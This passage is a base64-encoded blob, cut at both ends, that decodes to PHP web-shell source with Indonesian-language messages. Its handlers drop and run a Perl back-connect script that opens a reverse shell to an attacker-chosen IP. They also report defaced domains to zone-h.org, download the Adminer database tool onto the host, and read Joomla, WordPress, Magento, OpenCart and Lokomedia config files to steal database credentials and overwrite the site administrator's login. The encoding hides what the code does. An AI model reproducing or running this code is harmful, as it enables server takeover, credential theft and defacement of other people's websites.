lRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOw0KCWlmKGlzc2V0KCRfUE9TVFsnc3ViX2JjJ10pKSB7DQoJCSRmX2JjID0gZm9wZW4oIi90bXAvYmMucGwiLCAidyIpOw0KCQlmd3JpdGUoJGZfYmMsIGJhc2U2NF9kZWNvZGUoJGJpbmRfY29ubmVjdF9wKSk7DQoJCWZjbG9zZSgkZl9iYyk7DQoJCSRpcGJjID0gJF9QT1NUWydpcF9iYyddOw0KCQkkcG9ydCA9ICRfUE9TVFsncG9ydF9iYyddOw0KCQkkb3V0ID0gZXhlKCJwZXJsIC90bXAvYmMucGwgJGlwYmMgJHBvcnQgMT4vZGV2L251bGwgMj4mMSAmIik7DQoJCXNsZWVwKDEpOw0KCQllY2hvICI8cHJlPiIuJG91dC4ibiIuZXhlKCJwcyBhdXggfCBncmVwIGJjLnBsIikuIjwvcHJlPiI7DQoJCXVubGluaygiL3RtcC9iYy5wbCIpOw0KCX0NCn0gDQovL3pvbmUtaCBub3RpZmllcg0KZWxzZWlmKCRfR0VUWyd2b3RyJ10gPT0gJ3pvbmVoJykgew0KCWlmKCRfUE9TVFsnc3VibWl0J10pIHsNCgkJJGRvbWFpbiA9IGV4cGxvZGUoIlxyXG4iLCAkX1BPU1RbJ3VybCddKTsNCgkJJG5pY2sgPSAgJF9QT1NUWyduaWNrJ107DQoJCWVjaG8gIkRlZmFjZXIgT25ob2xkOiA8YSBocmVmPSdodHRwOi8vd3d3LnpvbmUtaC5vcmcvYXJjaGl2ZS9ub3RpZmllcj0kbmljay9wdWJsaXNoZWQ9MCcgdGFyZ2V0PSdfYmxhbmsnPmh0dHA6Ly93d3cuem9uZS1oLm9yZy9hcmNoaXZlL25vdGlmaWVyPSRuaWNrL3B1Ymxpc2hlZD0wPC9hPjxicj4iOw0KCQllY2hvICJEZWZhY2VyIEFyY2hpdmU6IDxhIGhyZWY9J2h0dHA6Ly93d3cuem9uZS1oLm9yZy9hcmNoaXZlL25vdGlmaWVyPSRuaWNrJyB0YXJnZXQ9J19ibGFuayc+aHR0cDovL3d3dy56b25lLWgub3JnL2FyY2hpdmUvbm90aWZpZXI9JG5pY2s8L2E+PGJyPjxicj4iOw0KCQlmdW5jdGlvbiB6b25laCgkdXJsLCRuaWNrKSB7DQoJCQkkY2ggPSBjdXJsX2luaXQoImh0dHA6Ly93d3cuem9uZS1oLmNvbS9ub3RpZnkvc2luZ2xlIik7DQoJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOw0KCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIHRydWUpOw0KCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJkZWZhY2VyPSRuaWNrJmRvbWFpbjE9JHVybCZoYWNrbW9kZT0xJnJlYXNvbj0xJnN1Ym1pdD1TZW5kIik7DQoJCQlyZXR1cm4gY3VybF9leGVjKCRjaCk7DQoJCQkJICBjdXJsX2Nsb3NlKCRjaCk7DQoJCX0NCgkJZm9yZWFjaCgkZG9tYWluIGFzICR1cmwpIHsNCgkJCSR6b25laCA9IHpvbmVoKCR1cmwsJG5pY2spOw0KCQkJaWYocHJlZ19tYXRjaCgiL2NvbG9yPVwicmVkXCI+T0s8XC9mb250PjxcL2xpPi9pIiwgJHpvbmVoKSkgew0KCQkJCWVjaG8gIiR1cmwgLT4gPGZvbnQgY29sb3I9bGltZT5PSzwvZm9udD48YnI+IjsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAiJHVybCAtPiA8Zm9udCBjb2xvcj1yZWQ+RVJST1I8L2ZvbnQ+PGJyPiI7DQoJCQl9DQoJCX0NCgl9IGVsc2Ugew0KCQllY2hvICI8Y2VudGVyPjxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCTx1PkRlZmFjZXI8L3U+OiA8YnI+DQoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduaWNrJyBzaXplPSc1MCcgdmFsdWU9J01SLlY0Tic+PGJyPg0KCQk8dT5Eb21haW5zPC91PjogPGJyPg0KCQk8dGV4dGFyZWEgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAxNTBweDsnIG5hbWU9J3VybCc+PC90ZXh0YXJlYT48YnI+DQoJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Ym1pdCcgdmFsdWU9J1N1Ym1pdCcgc3R5bGU9J3dpZHRoOiA0NTBweDsnPg0KCQk8L2Zvcm0+IjsNCgl9DQoJZWNobyAiPC9jZW50ZXI+IjsNCn0NCi8vYWRtaW5lcg0KZWxzZWlmKCRfR0VUWyd2b3RyJ10gPT0gJ2FkbWluZXInKSB7DQoJJGZ1bGwgPSBzdHJfcmVwbGFjZSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLCAiIiwgJGRpcik7DQoJZnVuY3Rpb24gYWRtaW5lcigkdXJsLCAkaXNpKSB7DQoJCSRmcCA9IGZvcGVuKCRpc2ksICJ3Iik7DQoJCSRjaCA9IGN1cmxfaW5pdCgpOw0KCQkgCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7DQoJCSAJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQklOQVJZVFJBTlNGRVIsIHRydWUpOw0KCQkgCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsNCgkJIAkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOw0KCQkgICAJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsNCgkJcmV0dXJuIGN1cmxfZXhlYygkY2gpOw0KCQkgICAJICBjdXJsX2Nsb3NlKCRjaCk7DQoJCWZjbG9zZSgkZnApOw0KCQlvYl9mbHVzaCgpOw0KCQlmbHVzaCgpOw0KCX0NCglpZihmaWxlX2V4aXN0cygnYWRtaW5lci5waHAnKSkgew0KCQllY2hvICI8Y2VudGVyPjxmb250IGNvbG9yPWxpbWU+PGEgaHJlZj0nJGZ1bGwvYWRtaW5lci5waHAnIHRhcmdldD0nX2JsYW5rJz4tPiBhZG1pbmVyIGxvZ2luIDwtPC9hPjwvZm9udD48L2NlbnRlcj4iOw0KCX0gZWxzZSB7DQoJCWlmKGFkbWluZXIoImh0dHBzOi8vd3d3LmFkbWluZXIub3JnL3N0YXRpYy9kb3dubG9hZC80LjIuNC9hZG1pbmVyLTQuMi40LnBocCIsImFkbWluZXIucGhwIikpIHsNCgkJCWVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9bGltZT48YSBocmVmPSckZnVsbC9hZG1pbmVyLnBocCcgdGFyZ2V0PSdfYmxhbmsnPi0+IGFkbWluZXIgbG9naW4gPC08L2E+PC9mb250PjwvY2VudGVyPiI7DQoJCX0gZWxzZSB7DQoJCQllY2hvICI8Y2VudGVyPjxmb250IGNvbG9yPXJlZD5nYWdhbCBidWF0IGZpbGUgYWRtaW5lcjwvZm9udD48L2NlbnRlcj4iOw0KCQl9DQoJfQ0KfQ0KLy9hdXRvZWRpdHVzZXINCmVsc2VpZigkX0dFVFsndm90ciddID09ICdlZGl0X3VzZXInKSB7DQoJaWYoJF9QT1NUWydoYWphciddKSB7DQoJCWlmKHN0cmxlbigkX1BPU1RbJ3Bhc3NfYmFydSddKSA8IDYgT1Igc3RybGVuKCRfUE9TVFsndXNlcl9iYXJ1J10pIDwgNikgew0KCQkJZWNobyAidXNlcm5hbWUgYXRhdSBwYXNzd29yZCBoYXJ1cyBsZWJpaCBkYXJpIDYga2FyYWt0ZXIiOw0KCQl9IGVsc2Ugew0KCQkJJHVzZXJfYmFydSA9ICRfUE9TVFsndXNlcl9iYXJ1J107DQoJCQkkcGFzc19iYXJ1ID0gbWQ1KCRfUE9TVFsncGFzc19iYXJ1J10pOw0KCQkJJGNvbmYgPSAkX1BPU1RbJ2NvbmZpZ19kaXInXTsNCgkJCSRzY2FuX2NvbmYgPSBzY2FuZGlyKCRjb25mKTsNCgkJCWZvcmVhY2goJHNjYW5fY29uZiBhcyAkZmlsZV9jb25mKSB7DQoJCQkJaWYoIWlzX2ZpbGUoIiRjb25mLyRmaWxlX2NvbmYiKSkgY29udGludWU7DQoJCQkJJGNvbmZpZyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIkY29uZi8kZmlsZV9jb25mIik7DQoJCQkJaWYocHJlZ19tYXRjaCgiL0pDb25maWd8am9vbWxhLyIsJGNvbmZpZykpIHsNCgkJCQkJJGRiaG9zdCA9IGFtYmlsa2F0YSgkY29uZmlnLCJob3N0ID0gJyIsIiciKTsNCgkJCQkJJGRidXNlciA9IGFtYmlsa2F0YSgkY29uZmlnLCJ1c2VyID0gJyIsIiciKTsNCgkJCQkJJGRicGFzcyA9IGFtYmlsa2F0YSgkY29uZmlnLCJwYXNzd29yZCA9ICciLCInIik7DQoJCQkJCSRkYm5hbWUgPSBhbWJpbGthdGEoJGNvbmZpZywiZGIgPSAnIiwiJyIpOw0KCQkJCQkkZGJwcmVmaXggPSBhbWJpbGthdGEoJGNvbmZpZywiZGJwcmVmaXggPSAnIiwiJyIpOw0KCQkJCQkkcHJlZml4ID0gJGRicHJlZml4LiJ1c2VycyI7DQoJCQkJCSRjb25uID0gbXlzcWxfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicGFzcyk7DQoJCQkJCSRkYiA9IG15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCgkJCQkJJHEgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkcHJlZml4IE9SREVSIEJZIGlkIEFTQyIpOw0KCQkJCQkkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEpOw0KCQkJCQkkaWQgPSAkcmVzdWx0WydpZCddOw0KCQkJCQkkc2l0ZSA9IGFtYmlsa2F0YSgkY29uZmlnLCJzaXRlbmFtZSA9ICciLCInIik7DQoJCQkJCSR1cGRhdGUgPSBteXNxbF9xdWVyeSgiVVBEQVRFICRwcmVmaXggU0VUIHVzZXJuYW1lPSckdXNlcl9iYXJ1JyxwYXNzd29yZD0nJHBhc3NfYmFydScgV0hFUkUgaWQ9JyRpZCciKTsNCgkJCQkJZWNobyAiQ29uZmlnID0+ICIuJGZpbGVfY29uZi4iPGJyPiI7DQoJCQkJCWVjaG8gIkNNUyA9PiBKb29tbGE8YnI+IjsNCgkJCQkJaWYoJHNpdGUgPT0gJycpIHsNCgkJCQkJCWVjaG8gIlNpdGVuYW1lID0+IDxmb250IGNvbG9yPXJlZD5lcnJvciwgZ2FiaXNhIGFtYmlsIG5hbWEgZG9tYWluIG55YTwvZm9udD48YnI+IjsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWVjaG8gIlNpdGVuYW1lID0+ICRzaXRlPGJyPiI7DQoJCQkJCX0NCgkJCQkJaWYoISR1cGRhdGUgT1IgISRjb25uIE9SICEkZGIpIHsNCgkJCQkJCWVjaG8gIlN0YXR1cyA9PiA8Zm9udCBjb2xvcj1yZWQ+Ii5teXNxbF9lcnJvcigpLiI8L2ZvbnQ+PGJyPjxicj4iOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJZWNobyAiU3RhdHVzID0+IDxmb250IGNvbG9yPWxpbWU+c3Vrc2VzIGVkaXQgdXNlciwgc2lsYWthbiBsb2dpbiBkZW5nYW4gdXNlciAmIHBhc3MgeWFuZyBiYXJ1LjwvZm9udD48YnI+PGJyPiI7DQoJCQkJCX0NCgkJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOw0KCQkJCX0gZWxzZWlmKHByZWdfbWF0Y2goIi9Xb3JkUHJlc3MvIiwkY29uZmlnKSkgew0KCQkJCQkkZGJob3N0ID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX0hPU1QnLCAnIiwiJyIpOw0KCQkJCQkkZGJ1c2VyID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX1VTRVInLCAnIiwiJyIpOw0KCQkJCQkkZGJwYXNzID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX1BBU1NXT1JEJywgJyIsIiciKTsNCgkJCQkJJGRibmFtZSA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9OQU1FJywgJyIsIiciKTsNCgkJCQkJJGRicHJlZml4ID0gYW1iaWxrYXRhKCRjb25maWcsInRhYmxlX3ByZWZpeCAgPSAnIiwiJyIpOw0KCQkJCQkkcHJlZml4ID0gJGRicHJlZml4LiJ1c2VycyI7DQoJCQkJCSRvcHRpb24gPSAkZGJwcmVmaXguIm9wdGlvbnMiOw0KCQkJCQkkY29ubiA9IG15c3FsX2Nvbm5lY3QoJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MpOw0KCQkJCQkkZGIgPSBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7DQoJCQkJCSRxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHByZWZpeCBPUkRFUiBCWSBpZCBBU0MiKTsNCgkJCQkJJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRxKTsNCgkJCQkJJGlkID0gJHJlc3VsdFtJRF07DQoJCQkJCSRxMiA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRvcHRpb24gT1JERVIgQlkgb3B0aW9uX2lkIEFTQyIpOw0KCQkJCQkkcmVzdWx0MiA9IG15c3FsX2ZldGNoX2FycmF5KCRxMik7DQoJCQkJCSR0YXJnZXQgPSAkcmVzdWx0MltvcHRpb25fdmFsdWVdOw0KCQkJCQlpZigkdGFyZ2V0ID09ICcnKSB7DQoJCQkJCQkkdXJsX3RhcmdldCA9ICJMb2dpbiA9PiA8Zm9udCBjb2xvcj1yZWQ+ZXJyb3IsIGdhYmlzYSBhbWJpbCBuYW1hIGRvbWFpbiBueWFhPC9mb250Pjxicj4iOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJJHVybF90YXJnZXQgPSAiTG9naW4gPT4gPGEgaHJlZj0nJHRhcmdldC93cC1sb2dpbi5waHAnIHRhcmdldD0nX2JsYW5rJz48dT4kdGFyZ2V0L3dwLWxvZ2luLnBocDwvdT48L2E+PGJyPiI7DQoJCQkJCX0NCgkJCQkJJHVwZGF0ZSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJHByZWZpeCBTRVQgdXNlcl9sb2dpbj0nJHVzZXJfYmFydScsdXNlcl9wYXNzPSckcGFzc19iYXJ1JyBXSEVSRSBpZD0nJGlkJyIpOw0KCQkJCQllY2hvICJDb25maWcgPT4gIi4kZmlsZV9jb25mLiI8YnI+IjsNCgkJCQkJZWNobyAiQ01TID0+IFdvcmRwcmVzczxicj4iOw0KCQkJCQllY2hvICR1cmxfdGFyZ2V0Ow0KCQkJCQlpZighJHVwZGF0ZSBPUiAhJGNvbm4gT1IgISRkYikgew0KCQkJCQkJZWNobyAiU3RhdHVzID0+IDxmb250IGNvbG9yPXJlZD4iLm15c3FsX2Vycm9yKCkuIjwvZm9udD48YnI+PGJyPiI7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQllY2hvICJTdGF0dXMgPT4gPGZvbnQgY29sb3I9bGltZT5zdWtzZXMgZWRpdCB1c2VyLCBzaWxha2FuIGxvZ2luIGRlbmdhbiB1c2VyICYgcGFzcyB5YW5nIGJhcnUuPC9mb250Pjxicj48YnI+IjsNCgkJCQkJfQ0KCQkJCQlteXNxbF9jbG9zZSgkY29ubik7DQoJCQkJfSBlbHNlaWYocHJlZ19tYXRjaCgiL01hZ2VudG98TWFnZV9Db3JlLyIsJGNvbmZpZykpIHsNCgkJCQkJJGRiaG9zdCA9IGFtYmlsa2F0YSgkY29uZmlnLCI8aG9zdD48IVtDREFUQVsiLCJdXT48L2hvc3Q+Iik7DQoJCQkJCSRkYnVzZXIgPSBhbWJpbGthdGEoJGNvbmZpZywiPHVzZXJuYW1lPjwhW0NEQVRBWyIsIl1dPjwvdXNlcm5hbWU+Iik7DQoJCQkJCSRkYnBhc3MgPSBhbWJpbGthdGEoJGNvbmZpZywiPHBhc3N3b3JkPjwhW0NEQVRBWyIsIl1dPjwvcGFzc3dvcmQ+Iik7DQoJCQkJCSRkYm5hbWUgPSBhbWJpbGthdGEoJGNvbmZpZywiPGRibmFtZT48IVtDREFUQVsiLCJdXT48L2RibmFtZT4iKTsNCgkJCQkJJGRicHJlZml4ID0gYW1iaWxrYXRhKCRjb25maWcsIjx0YWJsZV9wcmVmaXg+PCFbQ0RBVEFbIiwiXV0+PC90YWJsZV9wcmVmaXg+Iik7DQoJCQkJCSRwcmVmaXggPSAkZGJwcmVmaXguImFkbWluX3VzZXIiOw0KCQkJCQkkb3B0aW9uID0gJGRicHJlZml4LiJjb3JlX2NvbmZpZ19kYXRhIjsNCgkJCQkJJGNvbm4gPSBteXNxbF9jb25uZWN0KCRkYmhvc3QsJGRidXNlciwkZGJwYXNzKTsNCgkJCQkJJGRiID0gbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KCQkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgdXNlcl9pZCBBU0MiKTsNCgkJCQkJJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRxKTsNCgkJCQkJJGlkID0gJHJlc3VsdFt1c2VyX2lkXTsNCgkJCQkJJHEyID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJG9wdGlvbiBXSEVSRSBwYXRoPSd3ZWIvc2VjdXJlL2Jhc2VfdXJsJyIpOw0KCQkJCQkkcmVzdWx0MiA9IG15c3FsX2ZldGNoX2FycmF5KCRxMik7DQoJCQkJCSR0YXJnZXQgPSAkcmVzdWx0Mlt2YWx1ZV07DQoJCQkJCWlmKCR0YXJnZXQgPT0gJycpIHsNCgkJCQkJCSR1cmxfdGFyZ2V0ID0gIkxvZ2luID0+IDxmb250IGNvbG9yPXJlZD5lcnJvciwgZ2FiaXNhIGFtYmlsIG5hbWEgZG9tYWluIG55YWE8L2ZvbnQ+PGJyPiI7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQkkdXJsX3RhcmdldCA9ICJMb2dpbiA9PiA8YSBocmVmPSckdGFyZ2V0L2FkbWluLycgdGFyZ2V0PSdfYmxhbmsnPjx1PiR0YXJnZXQvYWRtaW4vPC91PjwvYT48YnI+IjsNCgkJCQkJfQ0KCQkJCQkkdXBkYXRlID0gbXlzcWxfcXVlcnkoIlVQREFURSAkcHJlZml4IFNFVCB1c2VybmFtZT0nJHVzZXJfYmFydScscGFzc3dvcmQ9JyRwYXNzX2JhcnUnIFdIRVJFIHVzZXJfaWQ9JyRpZCciKTsNCgkJCQkJZWNobyAiQ29uZmlnID0+ICIuJGZpbGVfY29uZi4iPGJyPiI7DQoJCQkJCWVjaG8gIkNNUyA9PiBNYWdlbnRvPGJyPiI7DQoJCQkJCWVjaG8gJHVybF90YXJnZXQ7DQoJCQkJCWlmKCEkdXBkYXRlIE9SICEkY29ubiBPUiAhJGRiKSB7DQoJCQkJCQllY2hvICJTdGF0dXMgPT4gPGZvbnQgY29sb3I9cmVkPiIubXlzcWxfZXJyb3IoKS4iPC9mb250Pjxicj48YnI+IjsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWVjaG8gIlN0YXR1cyA9PiA8Zm9udCBjb2xvcj1saW1lPnN1a3NlcyBlZGl0IHVzZXIsIHNpbGFrYW4gbG9naW4gZGVuZ2FuIHVzZXIgJiBwYXNzIHlhbmcgYmFydS48L2ZvbnQ+PGJyPjxicj4iOw0KCQkJCQl9DQoJCQkJCW15c3FsX2Nsb3NlKCRjb25uKTsNCgkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvSFRUUF9TRVJWRVJ8SFRUUF9DQVRBTE9HfERJUl9DT05GSUd8RElSX1NZU1RFTS8iLCRjb25maWcpKSB7DQoJCQkJCSRkYmhvc3QgPSBhbWJpbGthdGEoJGNvbmZpZywiJ0RCX0hPU1ROQU1FJywgJyIsIiciKTsNCgkJCQkJJGRidXNlciA9IGFtYmlsa2F0YSgkY29uZmlnLCInREJfVVNFUk5BTUUnLCAnIiwiJyIpOw0KCQkJCQkkZGJwYXNzID0gYW1iaWxrYXRhKCRjb25maWcsIidEQl9QQVNTV09SRCcsICciLCInIik7DQoJCQkJCSRkYm5hbWUgPSBhbWJpbGthdGEoJGNvbmZpZywiJ0RCX0RBVEFCQVNFJywgJyIsIiciKTsNCgkJCQkJJGRicHJlZml4ID0gYW1iaWxrYXRhKCRjb25maWcsIidEQl9QUkVGSVgnLCAnIiwiJyIpOw0KCQkJCQkkcHJlZml4ID0gJGRicHJlZml4LiJ1c2VyIjsNCgkJCQkJJGNvbm4gPSBteXNxbF9jb25uZWN0KCRkYmhvc3QsJGRidXNlciwkZGJwYXNzKTsNCgkJCQkJJGRiID0gbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KCQkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgdXNlcl9pZCBBU0MiKTsNCgkJCQkJJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRxKTsNCgkJCQkJJGlkID0gJHJlc3VsdFt1c2VyX2lkXTsNCgkJCQkJJHRhcmdldCA9IGFtYmlsa2F0YSgkY29uZmlnLCJIVFRQX1NFUlZFUicsICciLCInIik7DQoJCQkJCWlmKCR0YXJnZXQgPT0gJycpIHsNCgkJCQkJCSR1cmxfdGFyZ2V0ID0gIkxvZ2luID0+IDxmb250IGNvbG9yPXJlZD5lcnJvciwgZ2FiaXNhIGFtYmlsIG5hbWEgZG9tYWluIG55YWE8L2ZvbnQ+PGJyPiI7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQkkdXJsX3RhcmdldCA9ICJMb2dpbiA9PiA8YSBocmVmPSckdGFyZ2V0JyB0YXJnZXQ9J19ibGFuayc+PHU+JHRhcmdldDwvdT48L2E+PGJyPiI7DQoJCQkJCX0NCgkJCQkJJHVwZGF0ZSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJHByZWZpeCBTRVQgdXNlcm5hbWU9JyR1c2VyX2JhcnUnLHBhc3N3b3JkPSckcGFzc19iYXJ1JyBXSEVSRSB1c2VyX2lkPSckaWQnIik7DQoJCQkJCWVjaG8gIkNvbmZpZyA9PiAiLiRmaWxlX2NvbmYuIjxicj4iOw0KCQkJCQllY2hvICJDTVMgPT4gT3BlbkNhcnQ8YnI+IjsNCgkJCQkJZWNobyAkdXJsX3RhcmdldDsNCgkJCQkJaWYoISR1cGRhdGUgT1IgISRjb25uIE9SICEkZGIpIHsNCgkJCQkJCWVjaG8gIlN0YXR1cyA9PiA8Zm9udCBjb2xvcj1yZWQ+Ii5teXNxbF9lcnJvcigpLiI8L2ZvbnQ+PGJyPjxicj4iOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJZWNobyAiU3RhdHVzID0+IDxmb250IGNvbG9yPWxpbWU+c3Vrc2VzIGVkaXQgdXNlciwgc2lsYWthbiBsb2dpbiBkZW5nYW4gdXNlciAmIHBhc3MgeWFuZyBiYXJ1LjwvZm9udD48YnI+PGJyPiI7DQoJCQkJCX0NCgkJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOw0KCQkJCX0gZWxzZWlmKHByZWdfbWF0Y2goIi9wYW5nZ2lsIGZ1bmdzaSB2YWxpZGFzaSB4c3MgZGFuIGluamVjdGlvbi8iLCRjb25maWcpKSB7DQoJCQkJCSRkYmhvc3QgPSBhbWJpbGthdGEoJGNvbmZpZywnc2VydmVyID0gIicsJyInKTsNCgkJCQkJJGRidXNlciA9IGFtYmlsa2F0YSgkY29uZmlnLCd1c2VybmFtZSA9ICInLCciJyk7DQoJCQkJCSRkYnBhc3MgPSBhbWJpbGthdGEoJGNvbmZpZywncGFzc3dvcmQgPSAiJywnIicpOw0KCQkJCQkkZGJuYW1lID0gYW1iaWxrYXRhKCRjb25maWcsJ2RhdGFiYXNlID0gIicsJyInKTsNCgkJCQkJJHByZWZpeCA9ICJ1c2VycyI7DQoJCQkJCSRvcHRpb24gPSAiaWRlbnRpdGFzIjsNCgkJCQkJJGNvbm4gPSBteXNxbF9jb25uZWN0KCRkYmhvc3QsJGRidXNlciwkZGJwYXNzKTsNCgkJCQkJJGRiID0gbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KCQkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRvcHRpb24gT1JERVIgQlkgaWRfaWRlbnRpdGFzIEFTQyIpOw0KCQkJCQkkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEpOw0KCQkJCQkkdGFyZ2V0ID0gJHJlc3VsdFthbGFtYXRfd2Vic2l0ZV07DQoJCQkJCWlmKCR0YXJnZXQgPT0gJycpIHsNCgkJCQkJCSR0YXJnZXQyID0gJHJlc3VsdFt1cmxdOw0KCQkJCQkJJHVybF90YXJnZXQgPSAiTG9naW4gPT4gPGZvbnQgY29sb3I9cmVkPmVycm9yLCBnYWJpc2EgYW1iaWwgbmFtYSBkb21haW4gbnlhYTwvZm9udD48YnI+IjsNCgkJCQkJCWlmKCR0YXJnZXQyID09ICcnKSB7DQoJCQkJCQkJJHVybF90YXJnZXQyID0gIkxvZ2luID0+IDxmb250IGNvbG9yPXJlZD5lcnJvciwgZ2FiaXNhIGFtYmlsIG5hbWEgZG9tYWluIG55YWE8L2ZvbnQ+PGJyPiI7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCSRjZWtfbG9naW4zID0gZmlsZV9nZXRfY29udGVudHMoIiR0YXJnZXQyL2FkbWlud2ViLyIpOw0KCQkJCQkJCSRjZWtfbG9naW40ID0gZmlsZV9nZXRfY29udGVudHMoIiR0YXJnZXQyL2xva29tZWRpYS9hZG1pbndlYi8iKTsNCgkJCQkJCQlpZihwcmVnX21hdGNoKCIvQ01TIExva29tZWRpYXxBZG1pbmlzdHJhdG9yLyIsICRjZWtfbG9naW4zKSkgew0KCQkJCQkJCQkkdXJsX3RhcmdldDIgPSAiTG9naW4gPT4gPGEgaHJlZj0nJHRhcmdldDIvYWRtaW53ZWInIHRhcmdldD0nX2JsYW5rJz48dT4kdGFyZ2V0Mi9hZG1pbndlYjwvdT48L2E+PGJyPiI7DQoJCQkJCQkJfSBlbHNlaWYocHJlZ19tYXRjaCgiL0NNUyBMb2tvbWVkaWF8TG9rb21lZGlhLyIsICRjZWtfbG9naW40KSkgew0KCQkJCQkJCQkkdXJsX3RhcmdldDIgPSAiTG9naW4gPT4gPGEgaHJlZj0nJHRhcmdldDIvbG9rb21lZGlhL2FkbWlud2ViJyB0YXJnZXQ9J19ibGFuayc+PHU+JHRhcmdldDIvbG9rb21lZGlhL2FkbWlud2ViPC91PjwvYT48YnI+IjsNCgkJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCQkkdXJsX3RhcmdldDIgPSAiTG9naW4gPT4gPGEgaHJlZj0nJHRhcmdldDInIHRhcmdldD0nX2JsYW5rJz48dT4kdGFyZ2V0MjwvdT48L2E+IFsgPGZvbnQgY29sb3I9cmVkPmdhdGF1IGFkbWluIGxvZ2luIG55YSBkaW1hbmEgOnA8L2ZvbnQ+IF08YnI+IjsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQkkY2VrX2xvZ2luID0gZmlsZV9nZXRfY29udGVudHMoIiR0YXJnZXQvYWRtaW53ZWIvIik7DQoJCQkJCQkkY2VrX2xvZ2luMiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIkdGFyZ2V0L2xva29tZWRpYS9hZG1pbndlYi8iKTsNCgkJCQkJCWlmKHByZWdfbWF0Y2goIi9DTVMgTG9rb21lZGlhfEFkbWluaXN0cmF0b3IvIiwgJGNla19sb2dpbikpIHsNCgkJCQkJCQkkdXJsX3RhcmdldCA9ICJMb2dpbiA9PiA8YSBocmVmPSckdGFyZ2V0L2FkbWlud2ViJyB0YXJnZXQ9J19ibGFuayc+PHU+JHRhcmdldC9hZG1pbndlYjwvdT48L2E+PGJyPiI7DQoJCQkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvQ01TIExva29tZWRpYXxMb2tvbWVkaWEvIiwgJGNla19sb2dpbjIpKSB7DQoJCQkJCQkJJHVybF90YXJnZXQgPSAiTG9naW4gPT4gPGEgaHJlZj0nJHRhcmdldC9sb2tvbWVkaWEvYWRtaW53ZWInIHRhcmdldD0nX2JsYW5rJz48dT4kdGFyZ2V0L2xva29tZWRpYS9hZG1pbndlYjw